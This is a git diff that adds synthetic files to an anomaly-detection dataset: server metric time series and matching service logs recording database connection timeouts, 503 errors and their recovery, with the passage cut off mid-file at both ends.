+2025-07-02T12:00:05Z,16.98,40.99,32.98,1.4,1.2 +2025-07-02T12:00:10Z,15.01,40.01,30.02,1.47,1.27 +2025-07-02T12:00:15Z,19.04,42.02,36.05,1.45,1.25 +2025-07-02T12:00:20Z,17.57,41.28,33.85,1.38,1.18 +2025-07-02T12:00:25Z,15.82,40.41,31.23,1.46,1.26 +2025-07-02T12:00:30Z,17.95,41.48,34.43,1.32,1.12 +2025-07-02T12:00:35Z,18.06,41.53,34.59,1.46,1.26 +2025-07-02T12:00:40Z,15.79,40.39,31.18,1.47,1.27 +2025-07-02T12:00:45Z,12.42,38.71,26.13,1.45,1.25 +2025-07-02T12:00:50Z,14.65,39.83,29.48,1.36,1.16 +2025-07-02T12:00:55Z,15.7,40.35,31.05,1.49,1.29 +2025-07-02T12:01:00Z,15.31,40.15,30.46,1.34,1.14 +2025-07-02T12:01:05Z,15.46,40.23,30.69,1.36,1.16 +2025-07-02T12:01:10Z,11.89,38.45,25.34,1.47,1.27 +2025-07-02T12:01:15Z,13.73,39.36,28.09,1.36,1.16 +2025-07-02T12:01:20Z,15.04,40.02,30.06,1.4,1.2 +2025-07-02T12:01:25Z,12.75,38.88,26.63,1.35,1.15 +2025-07-02T12:01:30Z,18.27,41.63,34.9,1.3,1.1 +2025-07-02T12:01:35Z,12.56,38.78,26.34,1.35,1.15 +2025-07-02T12:01:40Z,14.16,39.58,28.73,1.48,1.28 +2025-07-02T12:01:45Z,17.7,41.35,34.05,1.42,1.22 +2025-07-02T12:01:50Z,20.06,42.53,37.58,1.44,1.24 +2025-07-02T12:01:55Z,16.92,40.96,32.88,1.44,1.24 +2025-07-02T12:02:00Z,16.74,40.87,32.6,1.3,1.1 +2025-07-02T12:02:05Z,14.63,39.81,29.44,1.34,1.14 +2025-07-02T12:02:10Z,16.11,40.56,31.67,1.36,1.16 +2025-07-02T12:02:15Z,16.11,40.56,31.67,1.48,1.28 +2025-07-02T12:02:20Z,14.35,39.68,29.03,1.33,1.13 +2025-07-02T12:02:25Z,16.87,40.93,32.8,1.42,1.22 +2025-07-02T12:02:30Z,5.89,39.79,29.79,0.37,0.33 +2025-07-02T12:02:35Z,6.42,41.47,30.84,0.38,0.34 +2025-07-02T12:02:40Z,6.54,42.33,31.08,0.32,0.28 +2025-07-02T12:02:45Z,6.78,43.43,31.55,0.29,0.25 +2025-07-02T12:02:50Z,5.36,41.22,28.72,0.31,0.27 +2025-07-02T12:02:55Z,6.32,43.76,30.63,0.38,0.34 +2025-07-02T12:03:00Z,5.95,43.65,29.9,0.3,0.26 +2025-07-02T12:03:05Z,5.14,42.65,28.28,0.29,0.25 +2025-07-02T12:03:10Z,5.69,44.37,29.37,0.35,0.31 +2025-07-02T12:03:15Z,5.77,45.16,29.53,0.34,0.3 +2025-07-02T12:03:20Z,6.33,46.9,30.65,0.32,0.28 +2025-07-02T12:03:25Z,6.38,47.64,30.77,0.34,0.3 +2025-07-02T12:03:30Z,6.54,48.58,31.08,0.31,0.27 +2025-07-02T12:03:35Z,6.01,48.14,30.02,0.32,0.28 +2025-07-02T12:03:40Z,6.98,50.7,31.95,0.37,0.33 +2025-07-02T12:03:45Z,6.33,50.03,30.66,0.34,0.3 +2025-07-02T12:03:50Z,6.09,50.19,30.19,0.33,0.29 +2025-07-02T12:03:55Z,5.87,50.36,29.73,0.3,0.26 +2025-07-02T12:04:00Z,6.19,51.63,30.38,0.29,0.25 +2025-07-02T12:04:05Z,5.58,51.03,29.16,0.3,0.26 +2025-07-02T12:04:10Z,5.32,51.15,28.65,0.34,0.3 +2025-07-02T12:04:15Z,6.04,53.21,30.09,0.3,0.26 +2025-07-02T12:04:20Z,5.68,53.11,29.36,0.37,0.33 +2025-07-02T12:04:25Z,6.45,55.28,30.9,0.37,0.33 +2025-07-02T12:04:30Z,5.92,54.84,29.84,0.3,0.26 +2025-07-02T12:04:35Z,5.75,55.13,29.51,0.34,0.3 +2025-07-02T12:04:40Z,6.43,57.12,30.87,0.32,0.28 +2025-07-02T12:04:45Z,6.19,57.25,30.38,0.37,0.33 +2025-07-02T12:04:50Z,6.11,57.72,30.22,0.31,0.27 +2025-07-02T12:04:55Z,5.73,57.59,29.46,0.32,0.28 +2025-07-02T12:05:00Z,5.4,57.55,28.8,0.31,0.27 +2025-07-02T12:05:05Z,6.18,59.74,30.36,0.3,0.26 +2025-07-02T12:05:10Z,6.13,60.26,30.26,0.33,0.29 +2025-07-02T12:05:15Z,6.43,61.48,30.86,0.38,0.34 +2025-07-02T12:05:20Z,5.71,60.67,29.42,0.37,0.33 +2025-07-02T12:05:25Z,6.78,63.44,31.56,0.29,0.25 +2025-07-02T12:05:30Z,6.12,62.73,30.23,0.33,0.29 +2025-07-02T12:05:35Z,5.41,61.94,28.82,0.33,0.29 +2025-07-02T12:05:40Z,5.21,62.17,28.42,0.33,0.29 +2025-07-02T12:05:45Z,4.87,62.11,27.73,0.33,0.29 +2025-07-02T12:05:50Z,4.64,63.64,28.64,0.36,0.32 +2025-07-02T12:05:55Z,5.88,63.18,29.43,0.44,0.39 +2025-07-02T12:06:00Z,6.34,61.94,29.44,0.48,0.42 +2025-07-02T12:06:05Z,5.72,59.62,28.37,0.49,0.43 +2025-07-02T12:06:10Z,8.14,60.34,30.34,0.54,0.46 +2025-07-02T12:06:15Z,6.42,56.92,28.17,0.57,0.49 +2025-07-02T12:06:20Z,8.88,57.68,30.18,0.62,0.53 +2025-07-02T12:06:25Z,9.32,56.42,30.17,0.71,0.62 +2025-07-02T12:06:30Z,7.84,53.24,28.24,0.74,0.63 +2025-07-02T12:06:35Z,10.71,54.41,30.66,0.77,0.65 +2025-07-02T12:06:40Z,9.31,51.31,28.81,0.86,0.74 +2025-07-02T12:06:45Z,10.9,51.2,29.95,0.85,0.72 +2025-07-02T12:06:50Z,11.21,49.81,29.81,0.87,0.73 +2025-07-02T12:06:55Z,12.15,49.05,30.3,0.99,0.84 +2025-07-02T12:07:00Z,12.52,47.72,30.22,1.04,0.89 +2025-07-02T12:07:05Z,13.52,47.02,30.77,1.1,0.94 +2025-07-02T12:07:10Z,14.6,46.4,31.4,1.14,0.97 +2025-07-02T12:07:15Z,13.81,43.91,30.16,1.19,1.01 +2025-07-02T12:07:20Z,14.74,43.14,30.64,1.16,0.98 +2025-07-02T12:07:25Z,15.04,41.74,30.49,1.22,1.03 diff --git a/anom_dataset/scenario_13/anom_13_27.log b/anom_dataset/scenario_13/anom_13_27.log new file mode 100644 index 0000000000000000000000000000000000000000..e6fc95c851155e32aaf68288416d7edf5194d7ae --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_27.log @@ -0,0 +1,62 @@ +Jul 02 12:00:00 user-service[5678]: GET /users/123 status=200 OK +Jul 02 12:00:00 systemd[1]: INFO Starting daily clean up activities... +Jul 02 12:00:20 user-service[5678]: GET /users/123 status=200 OK +Jul 02 12:00:40 user-service[5678]: GET /users/123 status=200 OK +Jul 02 12:01:00 user-service[5678]: GET /users/123 status=200 OK +Jul 02 12:01:15 systemd[1]: INFO Starting daily clean up activities... +Jul 02 12:01:20 user-service[5678]: GET /users/123 status=200 OK +Jul 02 12:01:40 user-service[5678]: GET /users/123 status=200 OK +Jul 02 12:02:00 user-service[5678]: GET /users/123 status=200 OK +Jul 02 12:02:20 user-service[5678]: GET /users/123 status=200 OK +Jul 02 12:02:30 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod user-service +Jul 02 12:02:35 user-service[5678]: POST /users/create status=503 Service Unavailable (database connection error) +Jul 02 12:02:45 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:02:50 user-service[5678]: POST /users/create status=503 Service Unavailable (database connection error) +Jul 02 12:03:00 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:03:05 user-service[5678]: POST /users/create status=503 Service Unavailable (database connection error) +Jul 02 12:03:15 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:03:20 user-service[5678]: POST /users/create status=503 Service Unavailable (database connection error) +Jul 02 12:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod user-service +Jul 02 12:03:30 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:03:35 user-service[5678]: POST /users/create status=503 Service Unavailable (database connection error) +Jul 02 12:03:45 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:03:50 user-service[5678]: POST /users/create status=503 Service Unavailable (database connection error) +Jul 02 12:04:00 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:04:05 user-service[5678]: POST /users/create status=503 Service Unavailable (database connection error) +Jul 02 12:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod user-service +Jul 02 12:04:15 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:04:20 user-service[5678]: POST /users/create status=503 Service Unavailable (database connection error) +Jul 02 12:04:30 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:04:35 user-service[5678]: POST /users/create status=503 Service Unavailable (database connection error) +Jul 02 12:04:45 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:04:50 user-service[5678]: POST /users/create status=503 Service Unavailable (database connection error) +Jul 02 12:05:00 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod user-service +Jul 02 12:05:05 user-service[5678]: POST /users/create status=503 Service Unavailable (database connection error) +Jul 02 12:05:15 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:05:20 user-service[5678]: POST /users/create status=503 Service Unavailable (database connection error) +Jul 02 12:05:30 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:05:35 user-service[5678]: POST /users/create status=503 Service Unavailable (database connection error) +Jul 02 12:05:45 api-gateway[4567]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:05:50 api-gateway[4567]: INFO Successfully re-established connection to database +Jul 02 12:05:50 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:05:55 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:06:00 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:06:05 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:06:10 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:06:15 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:06:20 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:06:25 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:06:30 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:06:35 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:06:40 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:06:45 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:06:50 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:06:55 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:07:00 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:07:05 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:07:10 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:07:15 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:07:20 user-service[5678]: POST /users/create status=201 Created +Jul 02 12:07:25 user-service[5678]: POST /users/create status=201 Created diff --git a/anom_dataset/scenario_13/anom_13_28.csv b/anom_dataset/scenario_13/anom_13_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..406a42efb8f93290d89fc91928d42ab0f0aabbf6 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,24.71,51.87,21.52,1.25,0.72 +2025-07-03T10:00:05Z,16.19,49.56,20.76,1.24,1.29 +2025-07-03T10:00:10Z,22.83,53.37,22.99,1.50,0.73 +2025-07-03T10:00:15Z,16.75,54.57,25.28,1.48,0.71 +2025-07-03T10:00:20Z,17.71,49.99,38.87,1.42,1.17 +2025-07-03T10:00:25Z,21.44,50.57,31.86,1.20,1.01 +2025-07-03T10:00:30Z,22.64,54.79,39.83,0.81,0.75 +2025-07-03T10:00:35Z,15.17,54.54,25.67,1.19,0.79 +2025-07-03T10:00:40Z,23.63,45.46,35.74,1.20,0.87 +2025-07-03T10:00:45Z,17.21,50.68,35.67,0.89,1.12 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diff --git a/anom_dataset/scenario_13/anom_13_28.log b/anom_dataset/scenario_13/anom_13_28.log new file mode 100644 index 0000000000000000000000000000000000000000..4ac6f3edb2f2c4840a061e258e89e27d5b259667 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_28.log @@ -0,0 +1,109 @@ +Jul 03 10:00:00 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:00:02 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:05 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:10 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:20 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:21 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:25 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:30 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:35 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:40 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:43 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:50 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:00:55 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:02 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:05 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:10 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:20 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:01:21 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:25 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:30 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:35 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:40 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:41 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:45 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:01:50 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:55 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:02:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:03 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:05 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:10 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:20 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:21 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:25 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:02:35 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:35 web-app[3456]: ERROR Timeout while waiting for database connection pool +Jul 03 10:02:40 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:02:40 web-app[3456]: POST /api/v1/transaction status=503 Service Unavailable (database connection error) +Jul 03 10:02:45 web-app[3456]: ERROR Timeout while waiting for database connection pool +Jul 03 10:02:50 db-connector[3456]: ERROR Failed to connect to database: Connection refused +Jul 03 10:02:55 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:55 db-connector[3456]: ERROR Failed to connect to database: Connection refused +Jul 03 10:03:00 db-connector[3456]: WARN Connection to database on host 'db.internal' timed out. Retrying in 10s... +Jul 03 10:03:05 db-connector[3456]: WARN Connection to database on host 'db.internal' timed out. Retrying in 10s... +Jul 03 10:03:05 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:10 web-app[3456]: ERROR Timeout while waiting for database connection pool +Jul 03 10:03:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:20 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:20 web-app[3456]: ERROR Timeout while waiting for database connection pool +Jul 03 10:03:25 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:25 db-connector[3456]: ERROR Failed to connect to database: Connection refused +Jul 03 10:03:30 db-connector[3456]: WARN Connection to database on host 'db.internal' timed out. Retrying in 10s... +Jul 03 10:03:40 db-connector[3456]: WARN Connection to database on host 'db.internal' timed out. Retrying in 10s... +Jul 03 10:03:45 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:45 db-connector[3456]: WARN Connection to database on host 'db.internal' timed out. Retrying in 10s... +Jul 03 10:03:50 web-app[3456]: ERROR Timeout while waiting for database connection pool +Jul 03 10:03:55 web-app[3456]: POST /api/v1/transaction status=503 Service Unavailable (database connection error) +Jul 03 10:04:05 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:10 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:04:20 web-app[3456]: POST /api/v1/transaction status=503 Service Unavailable (database connection error) +Jul 03 10:04:25 db-connector[3456]: ERROR Failed to connect to database: Connection refused +Jul 03 10:04:30 db-connector[3456]: WARN Connection to database on host 'db.internal' timed out. Retrying in 10s... +Jul 03 10:04:35 web-app[3456]: ERROR Timeout while waiting for database connection pool +Jul 03 10:04:40 web-app[3456]: ERROR Timeout while waiting for database connection pool +Jul 03 10:04:45 web-app[3456]: ERROR Timeout while waiting for database connection pool +Jul 03 10:04:55 db-connector[3456]: ERROR Failed to connect to database: Connection refused +Jul 03 10:04:55 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:05:00 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:05:00 web-app[3456]: ERROR Timeout while waiting for database connection pool +Jul 03 10:05:05 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:05 web-app[3456]: POST /api/v1/transaction status=503 Service Unavailable (database connection error) +Jul 03 10:05:10 web-app[3456]: ERROR Timeout while waiting for database connection pool +Jul 03 10:05:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:15 web-app[3456]: ERROR Timeout while waiting for database connection pool +Jul 03 10:05:20 web-app[3456]: POST /api/v1/transaction status=503 Service Unavailable (database connection error) +Jul 03 10:05:25 db-connector[3456]: ERROR Failed to connect to database: Connection refused +Jul 03 10:05:30 web-app[3456]: POST /api/v1/transaction status=503 Service Unavailable (database connection error) +Jul 03 10:05:35 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:35 db-connector[3456]: ERROR Failed to connect to database: Connection refused +Jul 03 10:05:40 web-app[3456]: ERROR Timeout while waiting for database connection pool +Jul 03 10:05:45 db-connector[3456]: WARN Connection to database on host 'db.internal' timed out. Retrying in 10s... +Jul 03 10:05:45 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:05:50 db-connector[3456]: WARN Connection to database on host 'db.internal' timed out. Retrying in 10s... +Jul 03 10:05:55 db-connector[3456]: ERROR Failed to connect to database: Connection refused +Jul 03 10:06:00 web-app[3456]: ERROR Timeout while waiting for database connection pool +Jul 03 10:06:05 db-connector[3456]: ERROR Failed to connect to database: Connection refused +Jul 03 10:06:15 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:06:20 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:06:23 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:06:25 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:06:30 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:35 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:06:40 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:06:42 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:45 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:06:50 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:06:55 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:07:00 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:07:01 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:07:05 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:07:10 systemd[1]: Starting daily clean up activities... +Jul 03 10:07:15 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:07:20 kubelet[5678]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:07:23 web-app[3456]: GET /api/v1/user/47 status=200 OK +Jul 03 10:07:25 web-app[3456]: GET /api/v1/user/47 status=200 OK diff --git a/anom_dataset/scenario_13/anom_13_3.csv b/anom_dataset/scenario_13/anom_13_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..55ed6993bd6940430b0e74d767013d4a5dc3ba1e --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T19:00:00Z,27.8,43.26,16.57,2.27,2.01 +2025-07-15T19:00:05Z,27.15,43.65,17.14,2.12,1.45 +2025-07-15T19:00:10Z,26.43,38.07,23.97,1.52,1.31 +2025-07-15T19:00:15Z,21.98,39.02,21.05,1.82,1.2 +2025-07-15T19:00:20Z,27.57,42.58,22.99,1.52,1.07 +2025-07-15T19:00:25Z,30.4,41.89,16.27,2.97,2.22 +2025-07-15T19:00:30Z,34.1,40.32,21.61,2.17,2.2 +2025-07-15T19:00:35Z,26.63,43.79,22.48,2.59,2.2 +2025-07-15T19:00:40Z,31.21,38.0,23.26,2.06,1.12 +2025-07-15T19:00:45Z,30.49,44.43,15.12,2.71,1.04 +2025-07-15T19:00:50Z,23.39,44.05,21.15,1.73,1.28 +2025-07-15T19:00:55Z,29.56,44.34,21.08,1.89,1.26 +2025-07-15T19:01:00Z,32.13,39.82,22.9,1.69,2.04 +2025-07-15T19:01:05Z,30.05,38.15,20.0,2.9,1.7 +2025-07-15T19:01:10Z,23.24,39.01,22.94,2.35,1.48 +2025-07-15T19:01:15Z,36.07,42.0,23.69,2.4,1.25 +2025-07-15T19:01:20Z,27.26,39.4,21.15,2.01,1.53 +2025-07-15T19:01:25Z,36.13,41.2,17.0,2.68,1.87 +2025-07-15T19:01:30Z,28.89,38.89,21.73,2.92,1.74 +2025-07-15T19:01:35Z,36.98,38.74,22.57,2.96,1.4 +2025-07-15T19:01:40Z,35.97,40.75,17.14,2.24,1.87 +2025-07-15T19:01:45Z,26.51,38.88,18.48,2.3,2.13 +2025-07-15T19:01:50Z,38.53,42.85,18.56,1.71,1.39 +2025-07-15T19:01:55Z,36.58,42.92,15.11,1.67,1.08 +2025-07-15T19:02:00Z,29.37,44.46,22.56,2.17,1.97 +2025-07-15T19:02:05Z,31.38,38.91,16.25,2.97,1.85 +2025-07-15T19:02:10Z,31.18,44.0,18.37,1.74,1.22 +2025-07-15T19:02:15Z,20.81,43.11,21.99,2.86,1.54 +2025-07-15T19:02:20Z,27.16,40.41,23.67,2.85,2.41 +2025-07-15T19:02:25Z,25.96,44.61,21.07,2.41,2.23 +2025-07-15T19:02:30Z,9.16,42.82,24.12,0.1,0.35 +2025-07-15T19:02:35Z,9.14,43.06,19.8,0.26,0.31 +2025-07-15T19:02:40Z,11.03,40.85,19.7,0.24,0.23 +2025-07-15T19:02:45Z,7.2,43.39,19.45,0.15,0.26 +2025-07-15T19:02:50Z,10.72,42.33,19.02,0.25,0.21 +2025-07-15T19:02:55Z,14.91,41.88,23.74,0.19,0.35 +2025-07-15T19:03:00Z,5.94,49.23,22.93,0.27,0.15 +2025-07-15T19:03:05Z,12.58,44.84,23.83,0.19,0.34 +2025-07-15T19:03:10Z,9.45,48.94,24.64,0.19,0.31 +2025-07-15T19:03:15Z,13.85,46.22,16.34,0.39,0.27 +2025-07-15T19:03:20Z,12.98,50.65,19.23,0.37,0.18 +2025-07-15T19:03:25Z,12.21,48.85,21.15,0.29,0.25 +2025-07-15T19:03:30Z,5.83,47.67,18.53,0.15,0.37 +2025-07-15T19:03:35Z,7.8,48.45,19.92,0.4,0.21 +2025-07-15T19:03:40Z,14.71,55.02,17.83,0.28,0.16 +2025-07-15T19:03:45Z,79.81,48.85,24.22,0.34,0.11 +2025-07-15T19:03:50Z,88.41,51.81,19.48,0.12,0.27 +2025-07-15T19:03:55Z,75.12,51.39,20.19,0.27,0.17 +2025-07-15T19:04:00Z,94.77,54.06,25.0,0.2,0.11 +2025-07-15T19:04:05Z,93.52,54.08,22.33,0.15,0.18 +2025-07-15T19:04:10Z,82.26,54.38,22.9,0.28,0.28 +2025-07-15T19:04:15Z,84.04,53.98,20.14,0.14,0.12 +2025-07-15T19:04:20Z,83.31,57.84,19.0,0.14,0.14 +2025-07-15T19:04:25Z,89.71,59.75,23.31,0.14,0.19 +2025-07-15T19:04:30Z,83.56,60.71,18.53,0.14,0.14 +2025-07-15T19:04:35Z,93.06,58.66,24.71,0.11,0.15 +2025-07-15T19:04:40Z,76.76,60.05,21.06,0.3,0.32 +2025-07-15T19:04:45Z,75.33,66.29,24.45,0.16,0.28 +2025-07-15T19:04:50Z,75.45,63.99,19.69,0.35,0.26 +2025-07-15T19:04:55Z,84.21,61.46,23.51,0.27,0.22 +2025-07-15T19:05:00Z,89.19,64.7,18.3,0.29,0.19 +2025-07-15T19:05:05Z,78.34,66.09,21.22,0.37,0.23 +2025-07-15T19:05:10Z,80.1,68.54,24.61,0.17,0.14 +2025-07-15T19:05:15Z,94.31,64.4,15.38,0.1,0.12 +2025-07-15T19:05:20Z,80.9,69.05,17.31,0.32,0.15 +2025-07-15T19:05:25Z,87.76,68.38,20.84,0.16,0.35 +2025-07-15T19:05:30Z,78.18,68.25,19.44,0.18,0.31 +2025-07-15T19:05:35Z,93.35,73.3,21.48,0.14,0.24 +2025-07-15T19:05:40Z,89.64,70.97,20.69,0.3,0.13 +2025-07-15T19:05:45Z,92.42,72.84,15.59,0.28,0.33 +2025-07-15T19:05:50Z,28.17,40.68,19.46,2.51,1.59 +2025-07-15T19:05:55Z,39.38,40.69,21.98,1.78,2.26 +2025-07-15T19:06:00Z,30.75,40.42,19.42,1.89,1.39 +2025-07-15T19:06:05Z,38.04,40.77,20.1,2.45,1.21 +2025-07-15T19:06:10Z,21.73,41.57,24.59,2.28,2.36 +2025-07-15T19:06:15Z,26.4,41.41,21.58,2.23,1.71 +2025-07-15T19:06:20Z,25.62,44.42,20.62,2.19,2.3 +2025-07-15T19:06:25Z,29.39,43.16,22.37,2.2,1.26 +2025-07-15T19:06:30Z,27.3,40.09,18.67,2.47,1.78 +2025-07-15T19:06:35Z,37.71,39.12,22.83,2.79,1.03 +2025-07-15T19:06:40Z,37.71,44.17,21.75,2.24,1.75 +2025-07-15T19:06:45Z,28.63,40.69,19.13,2.14,1.84 +2025-07-15T19:06:50Z,28.73,41.45,22.28,2.32,1.42 +2025-07-15T19:06:55Z,21.61,44.55,19.84,2.23,2.27 +2025-07-15T19:07:00Z,34.21,38.05,23.58,2.32,1.98 +2025-07-15T19:07:05Z,37.68,38.75,22.43,2.92,2.32 +2025-07-15T19:07:10Z,21.6,44.59,23.72,1.74,1.48 +2025-07-15T19:07:15Z,21.22,41.3,22.95,2.11,2.48 +2025-07-15T19:07:20Z,20.69,40.48,22.37,2.69,1.75 +2025-07-15T19:07:25Z,33.51,38.96,15.62,2.05,1.78 diff --git a/anom_dataset/scenario_13/anom_13_3.log b/anom_dataset/scenario_13/anom_13_3.log new file mode 100644 index 0000000000000000000000000000000000000000..34084de2c53047964b0a7568b7e4708d7972e48f --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_3.log @@ -0,0 +1,122 @@ +Jul 15 19:00:00 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:00:09 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:00:10 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:00:15 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:00:21 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:00:25 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:00:33 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:00:37 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:00:42 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:00:48 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:00:52 web-app[3453]: INFO: Background job 'report-generator' started. +Jul 15 19:00:58 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:01:01 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:01:09 